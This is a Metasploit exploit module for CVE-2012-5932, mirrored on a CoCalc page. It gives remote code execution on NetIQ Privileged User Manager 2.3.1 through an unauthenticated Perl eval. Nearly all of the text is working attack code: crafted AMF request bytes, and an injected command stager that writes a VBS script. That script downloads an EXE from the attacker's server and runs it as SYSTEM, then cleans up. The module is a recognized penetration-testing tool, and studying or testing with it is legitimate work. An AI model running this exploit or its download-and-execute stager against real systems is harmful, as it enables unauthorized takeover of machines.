CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/novell/netiq_pum_eval.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpServer
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::EXE
12
include Msf::Exploit::FileDropper
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'NetIQ Privileged User Manager 2.3.1 ldapagnt_eval() Remote Perl Code Execution',
19
'Description' => %q{
20
This module abuses a lack of authorization in the NetIQ Privileged User Manager
21
service (unifid.exe) to execute arbitrary perl code. The problem exists in the
22
ldapagnt module. The module has been tested successfully on NetIQ PUM 2.3.1 over
23
Windows 2003 SP2, which allows to execute arbitrary code with SYSTEM privileges.
24
},
25
'Author' => [
26
'rgod', # Vulnerability discovery and PoC
27
'juan vazquez' # Metasploit module
28
],
29
'License' => MSF_LICENSE,
30
'References' => [
31
[ 'CVE', '2012-5932' ],
32
[ 'OSVDB', '87334' ],
33
[ 'BID', '56539' ],
34
[ 'EDB', '22738' ]
35
],
36
'Payload' => {
37
'Space' => 2048,
38
'StackAdjustment' => -3500
39
},
40
'Platform' => 'win',
41
'Privileged' => true,
42
'Targets' => [
43
['Windows 2003 SP2 / NetIQ Privileged User Manager 2.3.1', {}],
44
],
45
'DefaultTarget' => 0,
46
'DisclosureDate' => '2012-11-15',
47
'Compat' => {
48
'Meterpreter' => {
49
'Commands' => %w[
50
stdapi_fs_delete_file
51
stdapi_sys_config_getenv
52
]
53
}
54
}
55
)
56
)
57
58
register_options(
59
[
60
Opt::RPORT(443),
61
OptBool.new('SSL', [true, 'Use SSL', true]),
62
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60])
63
]
64
)
65
66
self.needs_cleanup = true
67
end
68
69
def check
70
data = fake_login
71
72
print_status("Sending fake login request...")
73
74
res = send_request_cgi(
75
{
76
'uri' => '/',
77
'version' => '1.1',
78
'method' => 'POST',
79
'ctype' => "application/x-amf",
80
'headers' => {
81
"x-flash-version" => "11,4,402,278"
82
},
83
'data' => data,
84
}
85
)
86
87
if res and res.body =~ /onResult/ and res.body =~ /Invalid user name or password/ and res.body =~ /2\.3\.1/
88
return Exploit::CheckCode::Appears
89
elsif res and res.body =~ /onResult/ and res.body =~ /Invalid user name or password/
90
return Exploit::CheckCode::Detected
91
end
92
93
return Exploit::CheckCode::Safe
94
end
95
96
def on_new_session(session)
97
if session.type == "meterpreter"
98
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
99
end
100
101
@dropped_files.delete_if do |file|
102
win_file = file.gsub("/", "\\\\")
103
if session.type == "meterpreter"
104
begin
105
windir = session.sys.config.getenv('WINDIR')
106
win_file = "#{windir}\\system32\\#{win_file}"
107
# Meterpreter should do this automatically as part of
108
# fs.file.rm(). Until that has been implemented, remove the
109
# read-only flag with a command.
110
session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
111
session.fs.file.rm(win_file)
112
print_good("Deleted #{file}")
113
true
114
rescue ::Rex::Post::Meterpreter::RequestError
115
false
116
end
117
118
end
119
end
120
end
121
122
# Handle incoming requests from the target
123
def on_request_uri(cli, request)
124
vprint_status("on_request_uri called")
125
126
if (not @exe_data)
127
print_error("A request came in, but the EXE archive wasn't ready yet!")
128
return
129
end
130
131
print_good("Sending the EXE payload to the target...")
132
send_response(cli, @exe_data)
133
@exe_sent = true
134
end
135
136
def lookup_lhost()
137
# Get the source address
138
if datastore['SRVHOST'] == '0.0.0.0'
139
Rex::Socket.source_address('50.50.50.50')
140
else
141
datastore['SRVHOST']
142
end
143
end
144
145
def fake_login
146
data = "\x00\x00\x00\x00\x00\x01\x00\x15\x53\x50\x46\x2e\x55\x74" # ..........SPF.Ut
147
data << "\x69\x6c\x2e\x63\x61\x6c\x6c\x4d\x6f\x64\x75\x6c\x65\x45\x78\x00" # il.callModuleEx.
148
data << "\x02\x2f\x34\x00\x00\x00\x64\x0a\x00\x00\x00\x01\x03\x00\x03\x70" # ./4...d........p
149
data << "\x6b\x74\x03\x00\x0b\x43\x72\x65\x64\x65\x6e\x74\x69\x61\x6c\x73" # kt...Credentials
150
data << "\x03\x00\x04\x6e\x61\x6d\x65\x02\x00\x04\x74\x65\x73\x74\x00\x06" # ...name...test..
151
data << "\x70\x61\x73\x73\x77\x64\x02\x00\x04\x74\x65\x73\x74\x00\x00\x09" # passwd...test...
152
data << "\x00\x06\x6d\x65\x74\x68\x6f\x64\x02\x00\x05\x6c\x6f\x67\x69\x6e" # ..method...login
153
data << "\x00\x06\x6d\x6f\x64\x75\x6c\x65\x02\x00\x04\x61\x75\x74\x68\x00" # ..module...auth.
154
data << "\x03\x75\x69\x64\x06\x00\x00\x09\x00\x00\x09"; # .uid.......
155
return data
156
end
157
158
def exploit
159
data = fake_login
160
161
print_status("Sending fake login request...")
162
res = send_request_cgi(
163
{
164
'uri' => '/',
165
'version' => '1.1',
166
'method' => 'POST',
167
'ctype' => "application/x-amf",
168
'headers' => {
169
"x-flash-version" => "11,4,402,278"
170
},
171
'data' => data,
172
}
173
)
174
175
if not res or res.code != 200 or res.body !~ /svc(.+)/
176
fail_with(Failure::Unknown, 'Fake Login failed, svc not identified')
177
end
178
179
svc = $1
180
svc_length = svc[1, 2].unpack("n")[0]
181
svc_name = svc[3, svc_length]
182
vprint_status("SVC Found: #{svc_name}")
183
184
print_status("Generating the EXE Payload...")
185
@exe_data = generate_payload_exe
186
exename = Rex::Text.rand_text_alpha(1 + rand(2))
187
188
print_status("Setting up the Web Service...")
189
datastore['SSL'] = false
190
resource_uri = '/' + exename + '.exe'
191
service_url = "http://#{lookup_lhost}:#{datastore['SRVPORT']}#{resource_uri}"
192
print_status("Starting up our web service on #{service_url} ...")
193
start_service({
194
'Uri' => {
195
'Proc' => Proc.new { |cli, req|
196
on_request_uri(cli, req)
197
},
198
'Path' => resource_uri
199
}
200
})
201
datastore['SSL'] = true
202
203
# http://scriptjunkie1.wordpress.com/2010/09/27/command-stagers-in-windows/
204
vbs_stage = Rex::Text.rand_text_alpha(3 + rand(5))
205
code = "system(\"echo Set F=CreateObject(\\\"Microsoft.XMLHTTP\\\") >%WINDIR%/system32/#{vbs_stage}.vbs\");"
206
code << "system(\"echo F.Open \\\"GET\\\",\\\"#{service_url}\\\",False >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
207
code << "system(\"echo F.Send >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
208
code << "system(\"echo Set IA=CreateObject(\\\"ADODB.Stream\\\") >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
209
code << "system(\"echo IA.Type=1 >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
210
code << "system(\"echo IA.Open >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
211
code << "system(\"echo IA.Write F.responseBody >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
212
code << "system(\"echo IA.SaveToFile \\\"%WINDIR%\\system32\\#{exename}.exe\\\",2 >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
213
code << "system(\"echo CreateObject(\\\"WScript.Shell\\\").Run \\\"%WINDIR%\\system32\\#{exename}.exe\\\" >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
214
code << "system(\"#{vbs_stage}.vbs\");"
215
register_file_for_cleanup("#{vbs_stage}.vbs")
216
register_file_for_cleanup("#{exename}.exe")
217
identity = ""
218
219
data = "\x00\x00\x00\x00\x00\x01"
220
data << "\x00\x14"
221
data << "SPF.Util.callModuleA"
222
data << "\x00\x00"
223
data << "\x00"
224
data << "\x00\x02"
225
data << "\x0a\x0a"
226
data << "\x00\x00\x00\x01\x03"
227
data << "\x00\x03"
228
data << "pkt"
229
data << "\x03"
230
data << "\x00\x06"
231
data << "method"
232
data << "\x02"
233
data << "\x00\x04"
234
data << "eval"
235
data << "\x00\x06"
236
data << "module"
237
data << "\x02"
238
data << "\x00\x08"
239
data << "ldapagnt"
240
data << "\x00\x04"
241
data << "Eval"
242
data << "\x03"
243
data << "\x00\x07"
244
data << "content"
245
data << "\x02"
246
data << [code.length + 4].pack("n")
247
data << code
248
data << "\x0a\x0a1;\x0a\x0a1;"
249
data << "\x00\x00\x09"
250
data << "\x00\x00\x09"
251
data << "\x00\x03"
252
data << "uid"
253
data << "\x02"
254
data << [identity.length].pack("n")
255
data << identity
256
data << "\x00\x00\x09"
257
data << "\x00\x08"
258
data << "svc_name"
259
data << "\x02"
260
data << [svc_name.length].pack("n")
261
data << svc_name
262
data << "\x00\x00\x09"
263
264
print_status("Sending the eval code request...")
265
266
res = send_request_cgi(
267
{
268
'uri' => '/',
269
'version' => '1.1',
270
'method' => 'POST',
271
'ctype' => "application/x-amf",
272
'headers' => {
273
"x-flash-version" => "11,4,402,278"
274
},
275
'data' => data,
276
}
277
)
278
279
if res
280
fail_with(Failure::Unknown, "There was an unexpected response to the code eval request")
281
else
282
print_good("There wasn't a response, but this is the expected behavior...")
283
end
284
285
# wait for the data to be sent
286
print_status("Waiting for the victim to request the EXE payload...")
287
288
waited = 0
289
while (not @exe_sent)
290
select(nil, nil, nil, 1)
291
waited += 1
292
if (waited > datastore['HTTP_DELAY'])
293
fail_with(Failure::Unknown, "Target didn't request request the EXE payload -- Maybe it cant connect back to us?")
294
end
295
end
296
297
print_status("Giving time to the payload to execute...")
298
select(nil, nil, nil, 20)
299
end
300
end
301
302